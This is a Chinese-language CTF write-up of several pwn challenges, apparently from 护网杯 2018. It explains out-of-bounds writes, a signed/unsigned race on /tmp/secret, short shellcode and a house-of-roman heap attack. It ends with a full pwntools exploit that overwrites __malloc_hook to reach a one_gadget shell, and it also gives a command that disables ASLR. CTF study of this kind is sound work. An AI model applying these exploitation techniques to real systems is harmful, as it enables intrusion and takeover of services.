跟学校的队伍参加了又一次 ?网杯,记录一下 pwn 的 writeup。

gettingstart

binary & exploit here

这道题没什么好说的(比签到题解出的人还多),(double) 0.1 在内存中的存储形式,可以参考 stackexchange

shoppingcart

binary & exploit here

这道题目真是坑了很久,看到 strtoul 就没想通过负数数组越界了,后来发现可以负数越界时已经来不及写 exp 了。比赛结束后通过堆风水解出了题目,后来看 白泽 的师傅的解法时,发现更简单,这里就介绍一下师傅的解法,用到了 libc 的 got 机制。

漏洞出现在 edit 功能里,存在数组越界,可以通过这个功能来 leak 和 overwrite。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void edit()
{
  unsigned __int64 idx; // rax
  __int64 v1; // ST00_8
  char s[24]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which goods you need to modify?");
  fgets(s, 24, stdin);
  idx = strtoul(s, 0LL, 0);
  printf("OK, what would you like to modify %s to?\n", good_list[idx]->good, idx);
  good_list[v1]->good[read(0, good_list[v1]->good, 8uLL)] = 0;
}

leak 时可以用 malloc(0),这样在输入时 fd 就不会被 \0 截断

1
2
3
4
5
6
7
8
    puts("How long is your goods name?");
    fgets(s, 24, stdin);
    size = strtoul(s, 0LL, 0);
    p_g = (struct GOOD *)malloc(0x10uLL);
    p_g->money = 999LL;
    p_g->good = (char *)malloc(size);
    puts("What is your goods name?");
    p_g->good[(signed int)read(0, p_g->good, size) - 1] = 0;// size == 0

这样通过 unsorted bin leak 就能 leak 出一个和 main_arena 相关的地址,通过这个地址可以找到 libc 的基址。

leak 完之后再次通过越界写改 __free_hook 即可,我的做法是通过堆风水,比较麻烦。后来发现白泽的师傅使用了 libc.got['__free_hook'],改写 __free_hook 的 got,这样实现起来就方便很多了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
pwndbg> codebase 
codebase : 0x55d24159a000
pwndbg> telescope (0x2021E0+0x55d24159a000-0xb0) 
00:0000   0x55d24179c130 ◂— 0xa3831 /* '18\n' */
01:0008│   0x55d24179c138 —▸ 0x7f9aa4cbcef8 —▸ 0x7f9aa4cbf7a8 (__free_hook) ◂— 0x0
02:0010│   0x55d24179c140 —▸ 0x55d241c32400 ◂— 0x0
03:0018│   0x55d24179c148 —▸ 0x55d241c32450 —▸ 0x55d24179c0a8 ◂— 0xa31 /* '1\n' */
04:0020│   0x55d24179c150 —▸ 0x55d241c32470 —▸ 0x55d24179c0b0 ◂— 0xa32 /* '2\n' */
05:0028│   0x55d24179c158 —▸ 0x55d241c32490 —▸ 0x55d24179c0b8 ◂— 0xa33 /* '3\n' */
06:0030│   0x55d24179c160 —▸ 0x55d241c324b0 —▸ 0x55d24179c0c0 ◂— 0xa34 /* '4\n' */
07:0038│   0x55d24179c168 —▸ 0x55d241c324d0 —▸ 0x55d24179c0c8 ◂— 0xa35 /* '5\n' */

huwang

binary & exploit here

听 charlie 师傅说这道题目抄了他给国赛出的题。。。

堆的功能没用,完全是硬加上去的。主要的逻辑在 666 这个选项里,功能是从 /dev/urandom 中读取 0xC 个字符,然后经过 n 轮 md5 运算,最后和用户的输入进行比较,如果比较成功则进入另一个有明显漏洞的函数,可以 leak 出 canary,stack 等信息,最后可以栈溢出,比较不成功则程序退出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall secret_in_secret(char *rdi0)
{
  char v1; // ST1B_1
  int s_len; // [rsp+1Ch] [rbp-214h]
  char occupation[256]; // [rsp+20h] [rbp-210h]
  char s[264]; // [rsp+120h] [rbp-110h]
  unsigned __int64 v5; // [rsp+228h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
  puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
  puts("What`s your occupation?");
  get_str(occupation, 255LL);
  s_len = snprintf(
            s,
            255uLL,
            "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
            "....................................................................................................",
            rdi0,
            occupation);
  puts("Here is your introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 'Y' )
    read(0, s, s_len - 1);                      // overflow
  printf("The final presentation is as follows:%s\n", s);
}

其中 md5 运算的轮数是用户决定的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    puts("Input how many rounds do you want to encrypt the secret:");
    how_many = get_int();
    if ( how_many > 10 )
    {
      puts("What? Why do you need to encrypt so many times?");
      exit(-1);
    }
    if ( !how_many )
    {
      printf("At least encrypt one time", s_secret);
      exit(-1);
    }
    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

只判断了大于 10 和不为 0 的情况,但我们可以输入负数,当输入负数时,在 signedunsigned 比较时 -1 会转化为一个很大的数,while 循环就会陷入一段很长时间的运算。

这时如果再开一个 io 连接远程进入到这个流程中,到 MD5 之前

1
2
3
4
5
6
7
    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

这里 open 是以 O_WRONLY | O_TRUNC 的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0,因此此时第二个 io 将得到一个空的 /tmp/secret,因此只要我们输入 MD5('\0' * 16) 即可通过后边的 memcpy 验证,进入漏洞函数。

进入漏洞函数后,方法就很多了,通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以,我选择的是使用 open, read, puts 的方法。运气比较好,rdx 满足条件。

six

binary & exploit here

总觉得这道题目以前在哪里见过,忘了是哪次比赛的了。

首先程序有两次 mmap,经过分析,两处空间分别用于保存 shellcode 和模拟栈,shellcode 权限是 rwx 。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void mmap_rwx()
{
  int fd; // ST04_4
  char buf[12]; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, buf, 6uLL);
  read(fd, &buf[8], 6uLL);
  dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
  stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}

程序读取 6 个字节添加到一段 shellcode 之后,6 个字节要满足

  1. 3 个奇数 opcode,3个偶数 opcode
  2. 各不相同

程序给的 shellcode 为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
.data:0000000000202020 ; char sc[1]
.data:0000000000202020 sc:                                     ; DATA XREF: main+71↑o
.data:0000000000202020                                         ; main+87↑o ...
.data:0000000000202020                 mov     rsp, rdi
.data:0000000000202023                 xor     rbp, rbp
.data:0000000000202026                 xor     rax, rax
.data:0000000000202029                 xor     rbx, rbx
.data:000000000020202C                 xor     rcx, rcx
.data:000000000020202F                 xor     rdx, rdx
.data:0000000000202032                 xor     rdi, rdi
.data:0000000000202035                 xor     rsi, rsi
.data:0000000000202038                 xor     r8, r8
.data:000000000020203B                 xor     r9, r9
.data:000000000020203E                 xor     r10, r10
.data:0000000000202041                 xor     r11, r11
.data:0000000000202044                 xor     r12, r12
.data:0000000000202047                 xor     r13, r13
.data:000000000020204A                 xor     r14, r14
.data:000000000020204D                 xor     r15, r15

清空了除 rsprip 之外的所有通用寄存器,并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈

1
2
3
4
.text:0000000000000C87                 mov     rdx, cs:stack
.text:0000000000000C8E                 mov     rax, [rbp+var_28]
.text:0000000000000C92                 mov     rdi, rdx
.text:0000000000000C95                 call    rax

这样就可以通过 0 号系统调用,即 sys_read 来读取一部分内容了,很自然的想法是读到栈顶(

1
2
3
4
5
6
7
8
    read = asm('''
            push rsp
            pop rsi
            mov edx, esi
            syscall
            ''')
    assert len(read) < 7
    io.sendafter("shellcode:\n", read)

这段 shellcode 是符合要求的。

当两次 mmap 的距离比较近时,就可以通过第二次 read 来覆盖 shellcode,进而控制 rip。能控制 rip 的话,直接控制 rip 到我们写的 execve("/bin/sh", 0, 0) 即可。成功率不是 100% 但也相当可观了。

calendar

off-by-one 和 uaf 的漏洞很容易发现,关键就在没有 leak,主办方也提示了使用 house of roman 这种方法。

和原始的 house of roman 不同的是,这里不能直接 malloc 出在 unsorted bin 范围内的 chunk,但因为有 off-by-one,这个不是问题,通过 off-by-one 伪造 size 即可。

另外这道题目当时没给 libc,但可以使用其他题目的 libc,姿势来自 muhe 师傅分享过的一个 ppt

另外调试的时候可以关闭本地的 aslr。

1
# echo 0 > /proc/sys/kernel/randomize_va_space

最后贴一下我的 exp,写了注释

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
import sys

elfPath = "./task_calendar"
libcPath = "./libc.so.6"
remoteAddr = "117.78.26.133"
remotePort = 31666

context.binary = elfPath
elf = context.binary
#  if sys.argv[1] == "l":
    #  io = process(elfPath, timeout = 5)
    #  libc = elf.libc

#  else:
    #  if sys.argv[1] == "d":
        #  io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    #  else:
        #  io = remote(remoteAddr, remotePort, timeout = 5)
    #  if libcPath:
        #  libc = ELF(libcPath)

context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG():
    base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
    info("edit -> {:#x}".format(0xEC8 + base))
    info("free -> {:#x}".format(0xF0B + base))
    info("malloc -> {:#x}".format(0xDC6 + base))
    raw_input("DEBUG: ")

def add(idx, size):
    assert 1 <= idx <= 4
    assert 0 <= size <= 0x68
    io.sendlineafter("choice> ", "1")
    io.sendlineafter("choice> ", str(idx))
    io.sendlineafter("size> ", str(size))

def edit(idx, size, info):
    assert 1 <= idx <= 4
    io.sendlineafter("choice> ", "2")
    io.sendlineafter("choice> ", str(idx))
    io.sendlineafter("size> ", str(size))
    io.sendafter("info> ", info)
    sleep(0.01)

def delete(idx):
    assert 1 <= idx <= 4
    io.sendlineafter("choice> ", "3")
    io.sendlineafter("choice> ", str(idx))

if __name__ == "__main__":
    while True:
        io = process(elfPath, timeout = 5)
        libc = elf.libc
        #  io = remote(remoteAddr, remotePort, timeout = 5)
        io.sendlineafter("name> ", "m4x")
        add(1, 0x68)
        add(2, 0x68)
        add(3, 0x68)
        # forge unsorted bin
        edit(3, 0x60, flat(0, 0, 0x90, 0x51) + '\n')
        edit(1, 0x68, '0' * 0x68 + '\x91')
        delete(2) # chunk2 -> main_arena + 88
    
        edit(1, 0x68, '1' * 0x68 + '\x71')
        delete(1) # chunk1
        delete(3) # chunk3 -> chunk1
        edit(3, 1, '\x70\x70') # chunk3 -> chunk2 -> main_arena + 88
        edit(2, 1, '\xfd\x1a') # chunk3 -> chunk2 -> __malloc_hook - 0x13 -> 0x7f
    
        add(1, 0x68) # chunk2 -> __malloc_hook - 0x13 -> 0x7f
        add(4, 0x68) # __malloc_hook - 0x13 -> 0x7f
        add(3, 0x68) # 0x7f
        delete(4) # chunk4 -> 0x7f
        edit(4, 7, p64(0)) # chunk4
    
        # unsorted bin attack
        add(1, 0x68)
        edit(1, 9, flat(0, '\0', '\x1b'))
        add(1, 0x68)
    
        # partial overwrite
        #  DEBUG() 
        libc.sym['one_gadget'] = 0xf02a4
        libc.address = 0x7ffff7a0d000
        info("one_gadget -> {:#x}".format(libc.sym['one_gadget']))
        edit(3, 5, '\0\0\0' + p64(libc.sym['one_gadget'])[: 3])
    
        # trigger one_gadget
        delete(4)
        delete(4)
        
        try:
            io.sendlineafter("echo ABCDEFG")
            io.recvuntil("ABCDEFG")
            io.sendline("ls")
            io.interactive()
        except:
            io.close()

再贴一下其他师父这道题目的 wp

http://p4nda.top/2018/10/14/hwb-ctf-2018/#calendar

https://veritas501.space/2018/10/15/护网杯%20pwn%20wp/

https://www.anquanke.com/post/id/162121

以及 house of roman 的参考

https://www.anquanke.com/post/id/162121